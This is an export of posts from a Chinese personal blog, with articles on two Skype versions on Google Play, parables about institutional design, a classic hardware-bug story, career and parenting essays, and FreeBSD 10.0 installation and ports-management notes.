幸亏哥有Tor,从此没有打不开的网站了。。。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Google","slug":"Google","permalink":"https://ajasonwang.github.io/tags/Google/"}]},{"title":"Google Play 中有两个 Skype","slug":"what-is-the-difference-of-two-skype-in-google-play","date":"2014-12-06T19:33:33.000Z","updated":"2022-11-08T12:47:15.904Z","comments":true,"path":"2014/12/07/what-is-the-difference-of-two-skype-in-google-play/","link":"","permalink":"https://ajasonwang.github.io/2014/12/07/what-is-the-difference-of-two-skype-in-google-play/","excerpt":"在官方的 Google Play 应用市场中有两个版本的 Skype。Skype 是国际上非常流行的 IM 软件,从 PC 上发展到手机上,都提供了非常优秀的视频聊天体验。2011年被微软以85亿美元收购。 如果在 Google Play 中搜索 Skype,一般只能见到两个版本中的一个。通过链接直接访问网页版 Google Play 就能看到。在国内经常用 VPN 或者其它代理访问 Google Play 的话也许可以同时看到两个版本的 Skype。两个 Skype 链接如下,","text":"在官方的 Google Play 应用市场中有两个版本的 Skype。Skype 是国际上非常流行的 IM 软件,从 PC 上发展到手机上,都提供了非常优秀的视频聊天体验。2011年被微软以85亿美元收购。 如果在 Google Play 中搜索 Skype,一般只能见到两个版本中的一个。通过链接直接访问网页版 Google Play 就能看到。在国内经常用 VPN 或者其它代理访问 Google Play 的话也许可以同时看到两个版本的 Skype。两个 Skype 链接如下, https://play.google.com/store/apps/details?id=com.skype.polaris https://play.google.com/store/apps/details?id=com.skype.raider 根据链接姑且给这两个版本分别命名为 Polaris 和 Raider 吧。上一个链接,也就是 Polaris 版本,好像只有中文介绍,目前下载量在 50,000 – 100,000之间。下一个链接,也就是 Raider 版本,也可以称之为国际版,因为不管是用美国 VPN,还是日本、英国,搜到的都是这个版本,目前的下载量是 100,000,000 – 500,000,000。 实际上这两个版本的版本号是有些差别的,根据之前观察的结果(因为目前我早已经卸载了Polaris 版),Polaris 版本的版本号(目前)是 5.0.99.52727;而 Raider 的版本号是 5.0.0.52727。这个编号规则似乎一直如此。你在用哪个版本呢? 如果两个版本都安装过,在 Google Play 的 My Apps 里应该能看到两个版本的 Skype。 注:我在手机上同时安装了两个版本,经测试可以同时启动,所以对应的数据文件夹应该也是分开的 所谓的目前,是指 Skype 在 2014年9月22日更新之后。© 本文发表于 水景一页。转载请保留此信息及相应链接。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"安卓","slug":"安卓","permalink":"https://ajasonwang.github.io/tags/%E5%AE%89%E5%8D%93/"}]},{"title":"制度决定结果","slug":"systematization-lead-to-result","date":"2014-12-06T03:41:41.000Z","updated":"2022-11-08T12:47:15.896Z","comments":true,"path":"2014/12/06/systematization-lead-to-result/","link":"","permalink":"https://ajasonwang.github.io/2014/12/06/systematization-lead-to-result/","excerpt":"第一个故事:合格率的检查制度二战期间,美国空军降落伞的合格率为99.9%,这就意味着从概率上来说,每一千个跳伞的士兵中会有一个因为降落伞不合格而丧命。军方要求厂家必须让合格率达到100%才行。厂家负责人说他们竭尽全力了,99.9%已是极限,除非出现奇迹。军方(也有人说是巴顿将军)就改变了检查制度,每次交货前从降落伞中随机挑出几个,让厂家负责人亲自跳伞检测。从此,奇迹出现了,降落伞的合格率达到了百分之百。","text":"第一个故事:合格率的检查制度二战期间,美国空军降落伞的合格率为99.9%,这就意味着从概率上来说,每一千个跳伞的士兵中会有一个因为降落伞不合格而丧命。军方要求厂家必须让合格率达到100%才行。厂家负责人说他们竭尽全力了,99.9%已是极限,除非出现奇迹。军方(也有人说是巴顿将军)就改变了检查制度,每次交货前从降落伞中随机挑出几个,让厂家负责人亲自跳伞检测。从此,奇迹出现了,降落伞的合格率达到了百分之百。 第二个故事:付款方式英国将澳洲变成殖民地之后,因为那儿地广人稀,尚未开发,英政府就鼓励国民移民到澳洲,可是当时澳洲非常落后,没有人愿意去。英国政府就想出一个办法,把罪犯送到澳洲去。这样一方面解决了英国本土监狱人满为患的问题,另一方面也解决了澳洲的劳动力问题,还有一条,他们以为把坏家伙们都送走了,英国就会变得更美好了。英国政府雇佣私人船只运送犯人,按照装船的人数付费,多运多赚钱。很快政府发现这样做有很大的弊端,就是罪犯的死亡率非常之高,平均超过了百分之十,最严重的一艘船死亡率达到了惊人的百分之三十七。政府官员绞尽脑汁想降低罪犯运输过程中的死亡率,包括派官员上船监督,限制装船数量等等,却都实施不下去。最后,他们终于找到了一劳永逸的办法,就是将付款方式变换了一下:由根据上船的人数付费改为根据下船的人数付费。船东只有将人活着送达澳洲,才能赚到运送费用。新政策一出炉,罪犯死亡率立竿见影地降到了百分之一左右。后来船东为了提高生存率还在船上配备了医生。 第三个故事:粥的分配制度七个人住在一起,每天分一大桶粥。要命的是,粥每天都是不够的。一开始,他们抓阄决定谁来分粥,每天轮一个。于是乎,每周下来,他们只有一天是饱的,就是自己分粥的那一天。后来他们开始推选出一个口口声声道德高尚的人出来分粥。大权独揽,没有制约,也就会产生腐败。大家开始挖空心思去讨好他,互相勾结,搞得整个小团体乌烟瘴气。然后大家开始组成三人的分粥委员会及四人的评选委员会,互相攻击扯皮下来,粥吃到嘴里全是凉的。最后想出来一个方法:轮流分粥,但分粥的人要等其它人都挑完后拿剩下的最后一碗。为了不让自己吃到最少的,每人都尽量分得平均,就算不平,也只能认了。大家快快乐乐,和和气气,日子越过越好。 第四个故事:互助与共赢的天堂有一位行善的基督教徒,去世后向上帝提出一个要求,要求上帝领他去参观地狱和天堂,看看究竟有什么区别。到了地狱,看到一张巨大的餐桌,摆满丰盛的佳肴。他心想:地狱生活不错吗?过一会儿,用餐的时间到了,只见一群骨瘦如柴,奄奄一息的人围坐在香气四溢的肉锅前,只因手持的汤勺把儿太长,尽管他们争着抢着往自己嘴里送肉,可就是吃不到,又馋又急又饿。上帝说,这就是地狱。他们走进另一个房间,这里跟地狱一般无二,同样飘溢着肉汤的香气,同样手里拿着的是特别长的汤勺。但是,这里的人个个红光满面,精神焕发。原来他们个个手持特长勺把肉汤喂进对方嘴里。上帝说,这就是天堂。同样的人,不同的制度,可以产生不同的文化和氛围以及差距巨大的结果。","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"}]},{"title":"我听到过的最精彩的一个软件纠错故事","slug":"a-splendid-bug-finding-story","date":"2014-12-05T14:28:28.000Z","updated":"2022-11-08T12:47:15.841Z","comments":true,"path":"2014/12/05/a-splendid-bug-finding-story/","link":"","permalink":"https://ajasonwang.github.io/2014/12/05/a-splendid-bug-finding-story/","excerpt":"那还是80年代初期,我爸爸在一家存储设备公司工作,这个公司现在已经不存在了,它生产磁带机和驱动这些磁带高速运转的气动系统 —— 这是那个时代的产物。 他们技术改造了磁带驱动器,使得你可以只有一个中心驱动器 —— “A”盘 —— 由它连接着数个“B”盘,在跟A盘连接的内存里驻留这一个小型的操作系统,负责代理所有B盘的数据的读写操作。 每次当你启动A驱动器,你需要在外围驱动器里插入一张软盘,操作系统会把A盘加载到内存里。这个操作系统简单的出奇 —— 它的处理能力全部从一个8字节的微型控制器产生。 这种设备的目标用户是拥有大量数据的企业 —— 银行,杂志等等 —— 他们需要打印大量的地址簿或银行帐目。","text":"那还是80年代初期,我爸爸在一家存储设备公司工作,这个公司现在已经不存在了,它生产磁带机和驱动这些磁带高速运转的气动系统 —— 这是那个时代的产物。 他们技术改造了磁带驱动器,使得你可以只有一个中心驱动器 —— “A”盘 —— 由它连接着数个“B”盘,在跟A盘连接的内存里驻留这一个小型的操作系统,负责代理所有B盘的数据的读写操作。 每次当你启动A驱动器,你需要在外围驱动器里插入一张软盘,操作系统会把A盘加载到内存里。这个操作系统简单的出奇 —— 它的处理能力全部从一个8字节的微型控制器产生。 这种设备的目标用户是拥有大量数据的企业 —— 银行,杂志等等 —— 他们需要打印大量的地址簿或银行帐目。 有个客户出现了一个问题。在打印的过程中,有个别的驱动器会停止工作,导致整个打印过程终止。为了重载驱动器,值班人员必须重启所有驱动 —— 如果这种事情发生在一个6小时的打印任务中,大量宝贵的计算机使用时间都会浪费,整个任务将不能按时间完成。 公司派出了技术人员。技术人员尽了他最大的努力也不能在测试环境复制出这个问题:这个问题似乎只会出现在打印大量任务的过程中。尽管问题出在硬件上可能性微乎其微,他还是更换了所有的设备 —— 内存,微处理器,磁盘驱动,所有跟磁带机相关的部件 —— 但问题仍然出现。 于是技术人员打电话给总部叫来了一位专家。 专家要了一把椅子和一杯咖啡,坐在了计算机房 —— 那个时候他们已经专门为计算机提供了机房 —— 值班人员准备了一大堆的打印任务,他就在旁边看着。他等着,一直到机器崩溃。机器果真崩溃了,所有人都看着专家 —— 专家没有发现任何的线索。他命令把打印任务重新执行一次,所有的值班人员和技术人员都回各自岗位工作。 专家又在椅子上做下来,等着机器崩溃。这一等就是六小时,但真的又发生了。专家仍然没有弄清是什么导致了崩溃 —— 除了有一点他注意到,崩溃总是发生在屋内人比较多的时候。他命令再打印一次,重新坐下,等着。 当第三次崩溃时,他发现了一件事情。崩溃总是在值班人员更换其他没有关联的启动盘时发生的。进一步研究,他意识到当一个值班人员走过某块地板时崩溃就会发生。 地板是由铝制的板块拼成,下面有6 到 8 英寸高的隔空层,计算机所使用的大量的电缆都走地板下,这样可以避免值班人员无意间踢到它们。地板块间拼合的很紧密,这是为了保证垃圾不掉进电缆通过的空间。 专家说有一块地板变形了。当值班人员踩着这块变形的地板的一角时,地板块的边缘相互摩擦,这就会跟连接各地板的塑料之间产生静电,进而造成电磁干扰。 如今所有的RAM都有防电磁干扰功能。但当时并没有这种技术。专家指出,电磁干扰破坏的RAM的工作,操作系统也就崩溃了。 专家打电话给维护部门,拿来了一块新地板,他自己把它装上,问题就这样解决了。 转自 链接","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"}]},{"title":"HR 怎么看待三十岁以上的基础岗位求职者","slug":"what-is-hr-thinking-about-job-hunters-over-30","date":"2014-12-03T12:38:38.000Z","updated":"2022-11-08T12:47:15.903Z","comments":true,"path":"2014/12/03/what-is-hr-thinking-about-job-hunters-over-30/","link":"","permalink":"https://ajasonwang.github.io/2014/12/03/what-is-hr-thinking-about-job-hunters-over-30/","excerpt":"不是互联网行业的,作为 HR,来说两句。 以下探讨限于白领行业,不包括工厂和服务业等。 1,一个残酷的现实是,身为有追求的男青年,30 岁之后不可以找工作。 我这么说是危言耸听吗?难道 30 岁就不能换工作了吗? 当然不是。","text":"不是互联网行业的,作为 HR,来说两句。 以下探讨限于白领行业,不包括工厂和服务业等。 1,一个残酷的现实是,身为有追求的男青年,30 岁之后不可以找工作。 我这么说是危言耸听吗?难道 30 岁就不能换工作了吗? 当然不是。 「30 岁以后,你不能找工作」的意思是,这个时候,需要工作来找你。 每天坐在办公室里,就有很多猎头给你打电话,这是安全感的最重要体现。 再说一遍:30 岁之后,不应该找工作,应该工作来找你。(如果我们适当放宽条件,可以推后到 35 岁也无所谓,并没那么严格,但是如果 30 岁还不接猎头电话,就该有危机感了。) 2,30 岁的状态应该如何? 30 岁的男青年, 应该毕业 6-8 年,开始(关注)学业深造或者本身不需要深造。大体应该是一家公司的业务骨干,经历 1-3 次职位的升迁。为人处世方面熟悉社会普遍价值。熟悉本行业及本行业衍生行业,本行业上下游行业的游戏规则和潜规则。经济上有组建家庭并承担开支的能力。感情上要么成家,要么关系稳定。简单来说,学历不坏,业务熟练,心智成熟,感情稳定,有一定的管理经验。 这是一个应该达到的水平。 当然,有人要吐槽:这社会怎么可能都是精英?怎么可能都是管理者?怎么可能人人发展好? 这个问题后面会谈到一部分,但是非要刨根问题,我没答案。我只知道当下的状态是你逆水行舟,不进则退。如果你不保持进步,年轻人就会追上来。这世界还没有进步到,保证人人都是一个能活得很开心的状态。 3,结合到题主所说:「30 岁且应聘基础岗位」,这便是糟糕的状态。 说明你弱于社会期望。 (当然前面第二点所谈到的,其实是要求略高了,但是考虑到这条线可以拉到 35 岁,大家请按 30-35 这个区间去对比。) 30 岁的男人,和 20 岁的男人抢姑娘可以,说明你帅或者有钱。 但是,30 岁的男人,和 25 岁的男人抢工作,就不对了。 这些人工作两三年,在基础岗位上,不会弱工作 6-8 年的人太多,我指业务能力。 但是他们有激情、更年轻、愿意投入更多的时间和精力把工作做好。而 6-8 年仍然面试基础岗位,我们会认为这个人可能滑头、可能不出活、可能沟通有问题等等。同时,30 岁的人,处在结婚生子这一个时间段,重心没有办法完全放在工作上。 须知,能力是一方面,意愿是另一方面。 普遍上来讲,我们认为年轻人更易展现意愿。 当然,有理论说男性管理者在 45-55 岁迎来人生巅峰期,但通常这个状态下的高管有秘书、司机、保姆甚至是全职太太来解决他生活和家庭上的后顾之忧,这个我们不探讨。 我们讲 30 岁的基层工作者,在未来 5-10 年中,会面对极大的竞争压力。比你年轻、比你肯干、(随着扩招和留学门槛降低带来的)比你学历好、比你有活力、比你更容易犯错被原谅的人,却因为在基层岗位比拼,能力上也不比你差。 而你,当下或者未来一段时间中将面临:小孩出生,入托,甚至成绩不好;老人身体水平下降需要照顾;感情进入痒期给你造成负面影响等等……工作以外的事情带来大量的负担。你还去找工作? 4,我 30 岁,还在基层岗位怎么办? 好好努力,尽快走向管理岗位,在此之前,除非行业和企业出现严重问题,否则谨慎跳槽。 当然,如果跳槽能让您走向管理岗位,那是个不二的选择。 5,吐槽。 2014 年了,80 后最大的已经来到了 34 岁,90 后杀入职场已有两三年。 前几天公司校园招聘,一堆 90 后小鲜肉一起吃饭,其中一个话题便是 90 后和 80 后的区别。后来我们谈到火影、谈到周杰伦、谈到电影和美剧。 他们不太了解猫扑的辉煌,和一塌糊涂水木清华的关站,但是大体上我们有着共同的青春回忆。火影完结,大家都觉得青春完结;杰伦嫁人大家也都觉得男神不在了。 我想说的是,身处中国经济最澎湃的时代,我们欢乐,也有巨大的压力,因为时代对你有要求。 这个要求是:逆水行舟,不进则退。 我给孩子们讲的内容是,一个男人 30 岁或者 35 岁之前要完成的事: 第一,职业安全。就是今天的话题,你不可以去找工作,需要工作来找你。 第二,安家。简单说,就是买车买房。 第三,成家。简单说,谈恋爱,娶老婆。 第四,生子。生孩子是很牵扯精力的系统工程,产检、医院、准生证甚至连奶粉都是问题。 第五,深造。本科学校不好的,得去搞个好的硕士。原来学校好的,可能要去更好的学校上个 MBA。进入公司管理层的又得开始考虑在深造的同时扩大关注领域,去上个 EMBA 等等。 第六,财务健康。这个年龄说不上财务自由,但是你得有点资产,所谓的被动收入;或者是什么理财你得懂一点;或者是高薪什么领,总之,你不能让自己还过着担心还不上信用卡的生活。 以上每一件单一的事,可能都不是一年之内能完成的。就连生孩子都得提前半年调理身体不是? 其实如果要求高一点,你最好有旅行,增长见识和阅历;你最好保持健康的身体,为革命,也为家人和自己;你最好还有具备阅读的能力…… 所以你看,等着你完成的事有那么多, 你最好还得对这世界充满希望,和爱。 转自 博海拾贝","categories":[],"tags":[]},{"title":"写在2014年最后一个月的月初","slug":"some-words-written-at-the-begining-of-december-2014","date":"2014-12-01T06:14:14.000Z","updated":"2022-11-08T12:47:15.895Z","comments":true,"path":"2014/12/01/some-words-written-at-the-begining-of-december-2014/","link":"","permalink":"https://ajasonwang.github.io/2014/12/01/some-words-written-at-the-begining-of-december-2014/","excerpt":"","text":"之前转载几篇值得一读的文章仅仅是为了测试一下jekyll的category分类,回头一想,其实能写出来的东西真不多,没有人生阅历哪来的故事哪来的段子。 就IT这一行来说,不是大牛也没有干货可以供分享,还不如多看看冯大辉的作品,给个链接:Startup News","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"}]},{"title":"别再讲“我是为你好”的混账话","slug":"do-not-say-everything-I-did-is-for-you","date":"2014-11-28T02:40:40.000Z","updated":"2022-11-08T12:47:15.847Z","comments":true,"path":"2014/11/28/do-not-say-everything-I-did-is-for-you/","link":"","permalink":"https://ajasonwang.github.io/2014/11/28/do-not-say-everything-I-did-is-for-you/","excerpt":"《中国青年报》登载了这样一个故事——周浩曾经是青海省高考理科前五名,一直喜欢机械的他,原先打算报考有许多实用性课程的北京航空航天大学,但遭家人反对。父母认为以他的高分,不考清华北大就是浪费,班主任也认为他应该考更好的学校,他无奈之下选择了妥协,考入北大,就读生命科学专业。 在长辈眼中,周浩的选择无疑很正确,无论是学校还是专业。但他在入学后却始终无法适应,他认为自己不适合微观的、侧重理论的生命科学专业,更适合强调动手操作的机械专业。他说自己“不喜欢学术,搞不了科研,但是生命科学系的很多学生未来几乎都会读研究生,这样的路并不是我想走的”。 事情到了这步,许多长辈都会拿出这样一条大道理:“不要想着让社会来适应你,你要学着适应外部环境”。这条道理看上去无比正确,周浩也不是长辈眼中不懂事的孩子,既然他能够在高考报志愿时妥协,当然也不会在北大这样的校园里轻易放弃,所以他试图加强自己适应环境的能力,并想出各种办法融入学习氛围,但无济于事。他又尝试转院,可是如今北大的转院并非易事。绝望的他选择在大二那年休学一年,去深圳规划自己的未来,其间他当过电话接线员、做过流水线工人,没有一技之长又不擅长交际的他经历了社会的残酷,他试图以通过这种挫败感来让自己喜欢北大的生活,接受自己不喜欢的专业,但返回学校后,他仍然不能适应。 最终,他决定转学,将自己的方向定为数控技术,决定选择北京工业技师学院。一个北大学生选择对技术学校,当然被长辈视为疯狂之举。经过据理力争后,周浩的父亲选择了妥协,但要求他转到自己工作的深圳大学,可周浩仍然坚持去技校。最终,他终于说服了父母。","text":"《中国青年报》登载了这样一个故事——周浩曾经是青海省高考理科前五名,一直喜欢机械的他,原先打算报考有许多实用性课程的北京航空航天大学,但遭家人反对。父母认为以他的高分,不考清华北大就是浪费,班主任也认为他应该考更好的学校,他无奈之下选择了妥协,考入北大,就读生命科学专业。 在长辈眼中,周浩的选择无疑很正确,无论是学校还是专业。但他在入学后却始终无法适应,他认为自己不适合微观的、侧重理论的生命科学专业,更适合强调动手操作的机械专业。他说自己“不喜欢学术,搞不了科研,但是生命科学系的很多学生未来几乎都会读研究生,这样的路并不是我想走的”。 事情到了这步,许多长辈都会拿出这样一条大道理:“不要想着让社会来适应你,你要学着适应外部环境”。这条道理看上去无比正确,周浩也不是长辈眼中不懂事的孩子,既然他能够在高考报志愿时妥协,当然也不会在北大这样的校园里轻易放弃,所以他试图加强自己适应环境的能力,并想出各种办法融入学习氛围,但无济于事。他又尝试转院,可是如今北大的转院并非易事。绝望的他选择在大二那年休学一年,去深圳规划自己的未来,其间他当过电话接线员、做过流水线工人,没有一技之长又不擅长交际的他经历了社会的残酷,他试图以通过这种挫败感来让自己喜欢北大的生活,接受自己不喜欢的专业,但返回学校后,他仍然不能适应。 最终,他决定转学,将自己的方向定为数控技术,决定选择北京工业技师学院。一个北大学生选择对技术学校,当然被长辈视为疯狂之举。经过据理力争后,周浩的父亲选择了妥协,但要求他转到自己工作的深圳大学,可周浩仍然坚持去技校。最终,他终于说服了父母。 在工业技师学院,周浩如鱼得水,每天在实验室里进行实际操作,接触那十几台从瑞士进口的数控机器。如今,他已成为学院里最优秀的学生之一,面对着不少企业伸来的橄榄枝,他决定继续深造。 这个故事似乎有着皆大欢喜的结局,从某种意义上来说,周浩是幸运的,因为他终于摆脱了束缚,不再因亲情妥协,找到了自己的方向,实现了快乐的学习和自主的人生。但这种幸运是通过种种不幸换取的:如果没有长辈的强迫,周浩又没有出于孝心进行妥协,那么他也许早已成为了北京航空航天大学的学生;如果没有北大期间的极端痛苦作为证明,周浩也无法说服长辈,达成自己的愿望。 在许多长辈看来,学什么专业取决于社会需求,而非个人兴趣。因此,难找工作的专业往往会被排斥,除非它有高考加分的便利(比如一些艺术类专业)。我甚至时常听到“XX竟然读这个专业,这辈子不可能有出息了”之类的言论。其实我并不认为专业有多么重要,它不等于未来的人生选择和工作方向,但我特别相信天赋和兴趣对人生发展的重要性,读一个自己感兴趣的专业,起码有助于对知识的吸收。它当然不能确保世俗眼光中的成功,但又有什么专业能确保百分百的成功呢? 在中国,一个年轻人想走自己的路,往往需要“周浩模式”。这个模式的步骤大致如下:先进行妥协,然后用痛苦经历告诉长辈此路不通,之后再争取走自己的路。周浩的幸运在于他成功了,但大多数人的命运呢?要不就陷入痛苦中,就此沉沦,始终妥协,要不就争取无效,重返痛苦。当然,也有幸运者,也许他们想读的专业、想努力的方向、想从事的工作、想寻找的伴侣,都与长辈的要求契合。又或者他们安心听从长辈的吩咐,走长辈安排的道路。 对于这种幸运的听话的孩子,大多数长辈都会冠以“懂事”的评价。但套用一句网络流行语,“这事儿不能细想”,什么样的孩子才会和长辈“无缝对接”? 首先,代沟是一种客观存在,在正常心智下,不同时代成长起来的两代人,必然存在价值观的差异。而且,因为近三十年来的巨大社会变化,每一年与上一年相比都会在多个领域出现质变,更别说代际之间,所以当代中国面临的代际差异更大。如今的老一辈在政治运动中成长,与子女经历迥异,网络时代的信息爆炸,多元化的社会发展,更使得代沟无限扩大。甚至可以说,这是有史以来代际差异最大的两代人。它带来了这样一种局面:长辈随着年纪的增长,习惯从世俗的角度出发,以“适应社会”、“会做人”、“工作要稳定”等作为衡量一切的标准。而且,因为当下的老一辈(尤其是40后和50后)经历了太多动荡和饥饿,对妥协和稳定更为看重,甚至将之摆在梦想、尊严之上。但年轻人在多元化社会中成长,比长辈的年轻时代更为自主,有个人想法,甚至更加叛逆,因此很难避免观念上的冲突。 在这种情况下,子女与长辈若能“无缝对接”,也许不但不是长辈之幸,相反还是极大隐患。它存在两种可能,一种是子女过早老龄化,思想停留在自己的孩提时代,或是资质十分平庸,压根没有能力选择自己的生活,认知能力十分低下,没有自己的想法,这也意味着孩子缺乏持续的社会竞争力;另一种可能则是父母非常开明前卫,但我们都知道,因为六七十年代的教育整体落后,以及政治运动侵袭导致的思维定势和逻辑缺失,后者的可能性偏低,绝不会是普遍状况。 要注意的是,代际差异的双方往往没有绝对的对错。追求平庸化的生活对于很多人来说都不是坏事,一份稳定的工作,早早结婚生子,按部就班的生活,其实是大多数人的生活常态。从这一点上来说,长辈的想法未必有问题。同样,高期望也是人之常情,像周浩这种情况,长辈希望他就读北大清华实属正常,毕竟分数摆在那里。 问题的关键在于,长辈是否懂得爱和期望与强迫之间的界限,再就是当自己的期望与孩子的想法发生冲突时,能否将选择权交给孩子。周浩就是个典型例子,他的理想(北京航空航天大学)与父母的期望(清华和北大)产生了冲突,最终的结果是周浩选择了妥协。在现实中,这样的例子数不胜数,无论是高考,还是找工作,抑或结婚生子,许多人都是在父母安排下进行的,出于所谓孝道,他们选择了妥协,看似顺从,但内心痛苦,又未必能达到父母的要求。 这种强迫,因为现实的某些压力,往往从子女的孩提时代便已开始。最典型的莫过于兴趣班,它往往不是孩子的兴趣,而是家长的兴趣,因此变成了家长安排与孩子服从,并无真正的兴趣可言。服从也会变成一种习惯,习惯了兴趣班,习惯了好好学习,习惯了循规蹈矩,习惯了听话,习惯了走一条被安排的人生道路,但这种习惯往往会带来两种后果,一是精神满负荷后的崩溃,一是过度的依赖。 所以,那句“大多数中国人不懂爱”的结论,并非荒唐无稽,而是普遍的事实。绝大多数父母都爱自己的孩子,但最后也许会变成以爱为名的强迫甚至要挟,一句“我是为你好”往往会成为万能的理由。你可以在中国式家庭里看到无数这样的例子:父母拿着棍子监督孩子学乐器,说“我们花钱让你学这个,是为了你好”;父母偷看孩子日记,美其名曰“掌握思想状况”,反正“我们是为了你好”;父母要求孩子读他们喜欢的学校和专业,因为“我们有更丰富的人生经验,我们是为了你好”;父母逼着孩子考公务员,找一份稳定的工作,因为这是“为了你好”,让你更安稳或更有前途;父母逼孩子结婚,因为“我们辛辛苦苦把你养大,你到现在还一个人,太不负责任了,而且,人就是要结婚的,不然以后多孤苦,我们是为了你好”;父母要抱孙,“人怎么能不传宗接代呢,子女是生命的延续啊,而且你老了,也有孩子照顾你,我们是为了你好”…… 周浩也一定面对过这句话。在他填报高考志愿时,劝说他读北大的长辈难免会打出这样的旗号,当他决定转学去技校时,长辈们也会在痛心疾首的同时劝他安心在北大读书,因为“你要学着适应社会,我们都是为了你好。” 如果能把“我是为你好”换成“你快乐吗”,中国式家庭的关系断断不会如此疏离。这种过度关爱,其根源在于中国父母往往将孩子视为自己人生的延续,而非独立个体。因此,孩子身上承载的种种期望,也是父母自身压力和遗憾的折射。在愈发激烈的代际冲突下,周浩的幸运注定只是特例。","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"}]},{"title":"今天是个值得纪念的日子","slug":"memorial-day","date":"2014-11-18T01:39:39.000Z","updated":"2022-11-08T12:47:15.881Z","comments":true,"path":"2014/11/18/memorial-day/","link":"","permalink":"https://ajasonwang.github.io/2014/11/18/memorial-day/","excerpt":"","text":"这两年,各种辛苦都熬过来了,祝愿家人都健健康康!","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"}]},{"title":"freebsd 10.0 初体验","slug":"freebsd-100","date":"2014-11-14T12:08:08.000Z","updated":"2022-11-08T12:47:15.863Z","comments":true,"path":"2014/11/14/freebsd-100/","link":"","permalink":"https://ajasonwang.github.io/2014/11/14/freebsd-100/","excerpt":"分区选择手动,磁盘类型选择GPT,分区类型如下: freebsd-boot 64K(大小必须设置成这样) freebsd-swap 4G 其他分区…","text":"分区选择手动,磁盘类型选择GPT,分区类型如下: freebsd-boot 64K(大小必须设置成这样) freebsd-swap 4G 其他分区… 系统安装之后:1.首先设置一个比较快的portsnap服务器,如果系统默认的地址你的访问速度也很快,可以不修改 #vi /etc/portsnap.conf设置SERVERNAME=portsnap.cn.freebsd.org ,你可以设置相对你速度快点的服务器的地址 2.执行下面命令 #portsnap fetch extract 这里直接下载ports并且解压 这样就完成了下载ports系统以及解压到/usr下面了,以后更新只需要执行 #portsnap fetch update FreeBSD安装软件报错 “You must upgrade the ports-mgmt/pkg port first.” 的解决方法 cd /usr/ports/ports-mgmt/pkgmakemake reinstallpkg2ng3.设置最快的ports镜像 用ports安装软件的时候,如果没有设置相对于你来说最快的ports服务器地址,那就会默认的 ftp://ftp.freebsd.org/pub/FreeBSD/ports/distfiles/,这个地址对于很多地方来说是很慢的。 修改 /etc/make.conf 加入以下代码 MASTER_SITE_OVERRIDE=ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/${DIST_SUBDIR}\\ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/${DIST_SUBDIR} 如果你有最快的地址,可以加到上面去,下载就会块了 软件安装这是我最欣赏freebsd的优点之一,软件收集全面,分类明确,安装简便,编译安装方式足够适应系统并优化。举例,比如我要需要安装sudo,值得注意的是,安装前更新下port树不失为一个好习惯。 查找软件 #cd /usr/ports#make search key=firefox 运行下列命令进行安装 #cd /usr/ports/security/sudo#make install clean 会弹出选项,按照需求进行选择,然后OK,等待编译完成吧,这个软件就装完了。通过ports安装的软件,其配置文件路径一般在如下位置 #vi /usr/local/etc/sudoers Same thing without a password%wheel ALL=(ALL) NOPASSWD: ALL 表示wheel组的成员,不用切换用户,就可以sudo方式执行root权限的命令 卸载 #cd /usr/ports/www/firefox#make deinstall clean 卸载所有安装的ports: #cd /var/db/pkg#pkg_delete *#reboot 升级 firefox: #cd /usr/ports/www/firefox#make deinstall reinstall clean 定制 port 有时候,你会发现安装某个 port 的时候会有奇怪的事情发生。比如 editors/vim,安装的时候竟然会自动安装 glib1 和 gtk1,而明明自己的系统上已经有了 glib2 和 gtk2。 这是因为有些 port 有很多不是默认的编译选项。这个时候你需要设定一些环境变量让 port 知道该怎么做。对于 editors/vim,你需要设定 WITH_GTK2 来让 vim 依赖 gtk2 而不是 gtk1。 你可以在 csh 下: setenv WITH_GTK2或者在 bash 下: export WITH_GTK2=yes也可以把这个选项写到 /etc/make.conf 里面: WITH_GTK2=yes或者你也可以指定在更新/安装某个 port 的时候使用特定的环境变量。添加如下代码(注:csh 的语法,不是 sh/bash)到 /etc/make.conf 里面: .if ${.CURDIR:M*/ports/editors/vim}WITH_GTK2=yes.endif这样下次升级 editors/vim 的时候就会自动依赖到 gtk2 而不是 gtk1 了。 定制 Ports 系统 1 设定 Ports 树的位置 当你把 Ports 树放在非默认位置(/usr/ports)的时候,就需要修改一些环境变量让 Ports 中的工具知道你的修改。这个变量就是 PORTSDIR。 比如,你把 Ports 树放在了 /opt/ports,那么 在 sh/bash 中,执行如下命令: export PORTSDIR=/opt/ports在 csh 中,你需要执行如下命令: setenv PORTSDIR /opt/ports妥贴的办法是把这个环境变量放到超级用户 root 的 dot.cshrc 文件(/root/.cshrc)里面。又或者你想让普通用户也能用到这个环境变量,可以考虑放到 /etc/profile 或者 /etc/csh.cshrc 里面。 注意!如果你使用 portsnap 命令来同步 Ports 树,而你的 Ports 树不在默认位置,请在 /etc/portsnap.conf 中也设定你的 Ports 